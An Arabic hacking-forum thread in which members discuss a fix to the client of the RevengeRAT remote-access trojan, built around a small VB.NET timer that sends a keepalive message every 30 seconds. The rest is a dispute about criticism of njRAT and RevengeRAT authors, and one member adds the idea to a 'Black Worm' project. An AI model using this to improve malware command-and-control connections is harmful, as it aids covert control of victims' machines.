وكما تقول مايكروسوفت ، لتخطي مشكلة فصل الكيبل أو غلق الحاسوب يجب عليك إرسال "أي رسالة" للعميل لمعرفة حالة الإتصال

وهذا ما فعلته ، كل 30 ثانية يتم ارسال رسالة للتحقق من الاتصال ، فبتالي ثبات الاتصال بشكل جيد حتى بعد فصل الكيبل أو غلق البرنامج بشكل غير سليم.

كود:
Dim T As New TimerCallback(AddressOf Ping)
Tick = New Threading.Timer(T, Nothing, 0, 30000)

    Sub Ping()
        Send("alive??")
    End Sub
 

๖ۣۜA M E E R

F E v E R
طاقم الإدارة
إنضم
8 سبتمبر 2013
المشاركات
7,087
الإعجابات
10,582
النقاط
168
الإقامة
Iraq
مع انه رد متأخر لكن جازاك الله خير اخي على تصليح الكلاينت ..


بأمانة .. الاخ DarkNet رجل فاهم شغله في مجال البرمجة و الهاك و لا ينكر احد ذلك .. لكن رد مثل رده بصراحة لا يمكن ان يكون محايد
البرنامج لن يقرأه احد و ينكر قوته ..
اما الاخطاء .. من منا يكتب برنامج خالي من الاخطاء ..؟ لذلك هنالك نسخ حديثة NjRAT من 0.1 الى 0.7d و الفرق واضح بين كل نسختين
شخصياً انا اعتبر شادي (NAPOLEON) من أفضل مبرمجين الديف بوينت و قد فقده المنتدى اكثر من كثير اعضاء موجودين بما فيهم انا
انا لا اشخصن الامور و لو كان موجود بيننا كنا رأينا النسخة الرابعة من RevengeRat التي لا اظنها سترى النور في المنطقة المجانية ..
لانها نسخة لا توجد لها مثيل في الساحة حتى المدفوع منها .. و هذه خذها من شخص لا يلتفت لأي مشاكل شخصية في احكامه

كيف كان شادي و كيف اصبح الان .. مثل عندما تقارن بين NjRAT 0.1 و NjRAT 0.9d لو كان الاخ ناصر استمر في برمجتها ..

هل ادافع عن شادي ..؟ لا و الله لكن الموضوع يغبن يا اخي لما تستهين بعمل صامد الى هذه اللحظة مثل NjRAT 0.7d مرة و تطوير قوي مثل نسخة RevengeRAT 0.3 مرة اخرى
الاخ دارك نت هذه ردوده في كل مرة .. "استطيع جعله افضل .. الاتصال به اخطاء .. الكود ليس مضبوط .. لو عندي السورس لجعلته افضل " ..
و لاحظ انه يتكلم عن برامج تم ايقاف تطويرها من قبل مبرمجيها . . يعني هكذا كلام يعتبر شخصنة ..
مثل الي يقول لو ان Bill Gates اعطاني سورس XP لجعلته أفضل من Windows 10 .. مجرد مزايدة على برامج تم ايقاف تطويرها تماماً ..

و هذا ما يزعجني في معظم ردوده .. انا احترمه تماماً و اعرف انه خبير لكن طريقته مستفزة و غير صحيحة بالمرة ..


هذا كل ما في صدري من كلام بأمانة لو اثبت انني اشخصن الموضوع فأنا مدين لك بإعتذار
الموضوع زاعجني اكثر من طريقتك بالكتابة يا رجل يعني تخيل كم هههههه


الكلام هذا اتجاه واحد لن اناقش فيه او ارد عليه .. لان مثل ما قلت .. نتكلم عن برامج تم ايقاف تطويرها
اي كلام اخر هو قدح في مبرمجين البرامج و ليس برامجهم ...






حبيت افضفض ع شي زاعجني من فترة طويلة لكن يصدف ان مزاجي متعكر و ما اريد اظلم حق احد بكلمة و انا متضايق من شيء اخر .. اليوم شوية رايق قلت اكتبها لانها تكررت
بالنسبة لتصحيحك الكلاينت : في وقت فراغ ان شاء الله اعيد كتابته بالـCsharp ...
اكره مكتبة Microsoft.VisualBassic و هذا ما سأفعله ..
سأستغني عنها بخلاف طريقة الاخ العزيز محمد
 
إنضم
19 يناير 2012
المشاركات
1,473
الإعجابات
1,461
النقاط
133
الإقامة
IRAQ
مع انه رد متأخر لكن جازاك الله خير اخي على تصليح الكلاينت ..


بأمانة .. الاخ DarkNet رجل فاهم شغله في مجال البرمجة و الهاك و لا ينكر احد ذلك .. لكن رد مثل رده بصراحة لا يمكن ان يكون محايد
البرنامج لن يقرأه احد و ينكر قوته ..
اما الاخطاء .. من منا يكتب برنامج خالي من الاخطاء ..؟ لذلك هنالك نسخ حديثة NjRAT من 0.1 الى 0.7d و الفرق واضح بين كل نسختين
شخصياً انا اعتبر شادي (NAPOLEON) من أفضل مبرمجين الديف بوينت و قد فقده المنتدى اكثر من كثير اعضاء موجودين بما فيهم انا
انا لا اشخصن الامور و لو كان موجود بيننا كنا رأينا النسخة الرابعة من RevengeRat التي لا اظنها سترى النور في المنطقة المجانية ..
لانها نسخة لا توجد لها مثيل في الساحة حتى المدفوع منها .. و هذه خذها من شخص لا يلتفت لأي مشاكل شخصية في احكامه

كيف كان شادي و كيف اصبح الان .. مثل عندما تقارن بين NjRAT 0.1 و NjRAT 0.9d لو كان الاخ ناصر استمر في برمجتها ..

هل ادافع عن شادي ..؟ لا و الله لكن الموضوع يغبن يا اخي لما تستهين بعمل صامد الى هذه اللحظة مثل NjRAT 0.7d مرة و تطوير قوي مثل نسخة RevengeRAT 0.3 مرة اخرى
الاخ دارك نت هذه ردوده في كل مرة .. "استطيع جعله افضل .. الاتصال به اخطاء .. الكود ليس مضبوط .. لو عندي السورس لجعلته افضل " ..
و لاحظ انه يتكلم عن برامج تم ايقاف تطويرها من قبل مبرمجيها . . يعني هكذا كلام يعتبر شخصنة ..
مثل الي يقول لو ان Bill Gates اعطاني سورس XP لجعلته أفضل من Windows 10 .. مجرد مزايدة على برامج تم ايقاف تطويرها تماماً ..

و هذا ما يزعجني في معظم ردوده .. انا احترمه تماماً و اعرف انه خبير لكن طريقته مستفزة و غير صحيحة بالمرة ..


هذا كل ما في صدري من كلام بأمانة لو اثبت انني اشخصن الموضوع فأنا مدين لك بإعتذار
الموضوع زاعجني اكثر من طريقتك بالكتابة يا رجل يعني تخيل كم هههههه


الكلام هذا اتجاه واحد لن اناقش فيه او ارد عليه .. لان مثل ما قلت .. نتكلم عن برامج تم ايقاف تطويرها
اي كلام اخر هو قدح في مبرمجين البرامج و ليس برامجهم ...






حبيت افضفض ع شي زاعجني من فترة طويلة لكن يصدف ان مزاجي متعكر و ما اريد اظلم حق احد بكلمة و انا متضايق من شيء اخر .. اليوم شوية رايق قلت اكتبها لانها تكررت
بالنسبة لتصحيحك الكلاينت : في وقت فراغ ان شاء الله اعيد كتابته بالـCsharp ...
اكره مكتبة Microsoft.VisualBassic و هذا ما سأفعله ..
سأستغني عنها بخلاف طريقة الاخ العزيز محمد

اهلا ... ي الغالي ...

اولا ...

انا لم اشخصن اي موضوع او رد ...

ثانيا ...

ان اتكلم ... عن الاكواد الاساسيه ... للبرنامج ...

> البرنامج ياخذ الكثير ... من موارد الجهاز ...

> تم تشغيل .... تصوير سطح المكتب ... 2 كلاينت ...

> استهلك الكثير والكثير من موارد الجهاز ....

.......

وهذا يودي الى فقدان التحكم بالبرنامج ...

_________+

ماذا تسمي هذا ... اخي ... ؟

ثالثا ...

اي برنامج ... بالكون ... يتغير ... بتغيير ...

الاكواد الاساسيه ... للبرنامج ...

وانا متاكد مما اقول ....

انا لا ازايد ... على شي ...

_________+

كل كلامي ... كان ... عن اكواده الاساسيه ...

______+

انا اسف .... لكل من وجد ردودي ... :38:

غير مناسبه ...

____+

جاري تغيير محاور ردودي ... :38:

ان شاء الله ...

____+

:9:
 

๖ۣۜA M E E R

F E v E R
طاقم الإدارة
إنضم
8 سبتمبر 2013
المشاركات
7,087
الإعجابات
10,582
النقاط
168
الإقامة
Iraq
اهلا ... ي الغالي ...

اولا ...

انا لم اشخصن اي موضوع او رد ...

ثانيا ...

ان اتكلم ... عن الاكواد الاساسيه ... للبرنامج ...

> البرنامج ياخذ الكثير ... من موارد الجهاز ...

> تم تشغيل .... تصوير سطح المكتب ... 2 كلاينت ...

> استهلك الكثير والكثير من موارد الجهاز ....

.......

وهذا يودي الى فقدان التحكم بالبرنامج ...

_________+

ماذا تسمي هذا ... اخي ... ؟

ثالثا ...

اي برنامج ... بالكون ... يتغير ... بتغيير ...

الاكواد الاساسيه ... للبرنامج ...

وانا متاكد مما اقول ....

انا لا ازايد ... على شي ...

_________+

كل كلامي ... كان ... عن اكواده الاساسيه ...

______+

انا اسف .... لكل من وجد ردودي ... :38:

غير مناسبه ...

____+

جاري تغيير محاور ردودي ... :38:

ان شاء الله ...

____+

:9:
:9:
نقاطك قرأتها كلها لا تتوقع اي تجاهل .. لكن لان الموضوع ما يخصني و لا عمرة راح يخصني ..
كل الفكرة ان البرامج توقف تطويرة ليش اكول لو عندي السورس كان صار افضل ..؟
تتوقع لو المبرمج مستمر راح يترك احد يقول له دزلي السورس و اصلحه مكانك ..؟ اكيد لا .. هذه الي تغبن

بالنسبة لطريقة الكتابة .. اخي DarkNET انا امزح معك بخصوصها ..
انت حر كيفما تكتب و بالطريقة الي تعجبك و اعتذر لك بخصوصها على كل حال ..
انا انتقدت الطريقة بنفسي و ليس مخالفة لقوانين او شيء من هذا القبيل

يعني اكتب كيف ما تشاء طالما ما تخالف قوانين الديف .. انا ما عندي اي مشكلة .. و الرد يبين وين الاشياء الي اشوفها غلط
و رأيك ولا عمري راح احاول اغيرة او اناقشك فيه الا لو كان يحتاج تغيير و مناقشة .. او اني اكون طرف فيه .. انت تقول و انا اقول
في برامج توقف تطويرها ..



نسيت ارد على هذه الجزئية لذلك رجعت اكتب رد جديد
اشكرك على ردك المحترم .. ♥

بالمناسبة كنت اتشاقة وياك عن شكل الكتابة مو اراءاك ..
(التلوين و التقطيع بين الاسطر و هذه الحركات .. رأيك له كامل الاحترام حى لو اختلف فيه لأسباب اراها مشروعة)
 
إنضم
5 أغسطس 2011
المشاركات
2,965
الإعجابات
3,379
النقاط
123
العمر
22
الإقامة
][ الـمـمـلـكه الـعـربـيه الـسـعـوديـه ][
الفكره ممتازة و تم إضافتها لBlack Worm
عشان اخلي الSocket ثابت اكثر
ماقد جربت RevengeRAT لاكن شفت له صور وواضح انه برنامج ممتاز

بالتوفيق اخي NYAN
 

NYAN CAT

Beginner Developer
rankrank
إنضم
14 نوفمبر 2017
المشاركات
217
الإعجابات
224
النقاط
43
الإقامة
Kuwait
الفكره ممتازة و تم إضافتها لBlack Worm
عشان اخلي الSocket ثابت اكثر
ماقد جربت RevengeRAT لاكن شفت له صور وواضح انه برنامج ممتاز

بالتوفيق اخي NYAN
الفكرة ممكن تطبيقها بأكثر من شكل
على سبيل المثال بدلاً من ارسال رسالة فارغة ممكن ارسال اخر نافذة تم فتحها أو رسال قيمة بنق بال ms
بالتوفيق مع مشروع BlackWorm اخي العزيز.
 

الأعضاء النشطين حاليآ الذين يشاهدون هذا الموضوع (1 عضو و 1 ضيف)

خيارات الاستايل

نوع الخط
مودك
اخفاء السايدر بار OFF
توسيط المنتدى OFF
فصل الأقسام OFF
الأقسام الفرعية OFF
عرض المشاركات
حجم الخط
معلومات العضو OFF
إخفاء التوقيع OFF

إرجاع خيارات الإستايل